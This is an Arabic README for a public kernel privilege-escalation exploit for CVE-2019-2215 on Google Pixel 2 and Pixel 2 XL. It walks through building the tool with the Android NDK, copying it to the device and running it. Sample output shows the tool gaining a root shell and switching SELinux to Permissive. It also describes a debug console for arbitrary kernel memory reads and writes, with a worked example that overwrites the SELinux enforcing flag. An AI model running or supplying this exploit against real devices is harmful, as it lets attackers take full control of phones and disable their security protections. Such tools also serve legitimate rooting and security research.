
Temproot لـ Pixel 2 و Pixel 2 XL عبر CVE-2019-2215
عرض توضيحي لهجوم تصعيد الصلاحيات باستخدام القراءة/الكتابة على ذاكرة النواة فقط، مما يؤدي إلى الحصول على شل مؤقت بصلاحيات الجذر.
يعمل على أجهزة Google Pixel 2/Pixel 2 XL (walleye/taimen) التي تعمل بإصدار سبتمبر 2019 QP1A.190711.020 مع إصدار النواة-BuildID 4.4.177-g83bee1dc48e8.
لكي تعمل هذه الأداة على أجهزة و/أو نواة أخرى متأثرة بنفس الثغرة، يجب إيجاد وتغيير بعض الإزاحات. كما ذكر في متعقب الأخطاء لـ Project Zero، هذا ليس صعبًا للغاية.
كذلك تم تضمين وحدة تحكم تصحيح مصغرة توفر واجهة شبيهة بمحرر سداسي عشر للتعامل مع ذاكرة النواة وإمكانية تشغيل شل.
لسهولة الاستخدام، تم تضمين ملف Makefile يعمل مع سلسلة أدوات الترجمة المتقاطعة من Android NDK الإصدار r19 أو أعلى.
# تحميل Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip
# استخراج NDK وتعيين مساره كـ $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip # اختياري
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20
# استنساخ مستودع git الخاص بـ `cve-2019-2215` والانتقال إليه.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215
# تجميع الملف الثنائي.
user@host:~/cve-2019-2215$ make all # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped
بمجرد تجميع الملف الثنائي، انقله إلى الجهاز، واجعله قابلاً للتنفيذ، ثم شغّله. (يجب أن يعمل في مكان ما داخل /data/).
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot لهاتف Pixel 2 و Pixel 2 XL عبر CVE-2019-2215
[+] بدء التشغيل
[+] العثور على عنوان النواة لـ current task_struct
[+] الحصول على قراءة/كتابة عشوائية لذاكرة النواة
[+] العثور على العنوان الأساسي للنواة
[+] تجاوز SELinux وتصحيح الصلاحيات الحالية
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $
النجاح غير مضمون وقد يتعطل الجهاز تمامًا، ولكن عادةً، يتم ضبط SELinux على Permissive ويتم تشغيل شل بصلاحيات الجذر.
مرر debug كوسيطة سطر أوامر وحيدة لبدء وحدة تحكم تصغير بدلاً من روتين تصعيد الصلاحيات بعد الحصول على قراءة/كتابة على النواة.
debug> help
مساعدة سريعة
print
طباعة العنوان الأساسي للنواة، بعض إزاحات رموز النواة،
وعنوان current task_struct كسلسلة سداسية عشر
read <kaddr> <len>
قراءة <len> بايت من <kaddr> وعرضها كـ hexdump
<kaddr> سلسلة سداسية عشر بدون بادئة 0x
<len> هو 1-4096 أو 0x1-0x1000
write <kaddr> <data>
كتابة <data> إلى <kaddr>
<kaddr> سلسلة سداسية عشر بدون بادئة 0x
<data> هو 1-4096 بايت سداسي عشر، يتم تجاهل المسافات، يُكتب *كما هو*
مثال: إذا كان kaddr 0xffffffffdeadbeef يحتوي على عدد صحيح، وتريد تعيين
قيمته إلى 1، أدخل 'write ffffffffdeadbeef <data>'، حيث <data> هو
'01000000' أو '0100 0000' أو '01 00 0 0 00' إلخ (نظام ARM لدينا هو little-endian)
shell
تشغيل شل (تلميح: هل أصبحنا ~بطريقة ما~ مستخدمًا آخر؟ :P)
help
طباعة هذه المساعدة
exit
الخروج من وحدة تحكم التصحيح
ضبط SELinux من Permissive إلى Enforcing كمستخدم غير مميز.
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot لهاتف Pixel 2 و Pixel 2 XL عبر CVE-2019-2215
[+] بدء التشغيل
[+] العثور على عنوان النواة لـ current task_struct
[+] الحصول على قراءة/كتابة عشوائية لذاكرة النواة
[+] العثور على العنوان الأساسي للنواة
جارٍ تشغيل وحدة تحكم التصحيح، أدخل 'help' للحصول على مساعدة سريعة
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000 .#@.............
ffffff9bafc4e4c8: 0000 00 ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000 ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $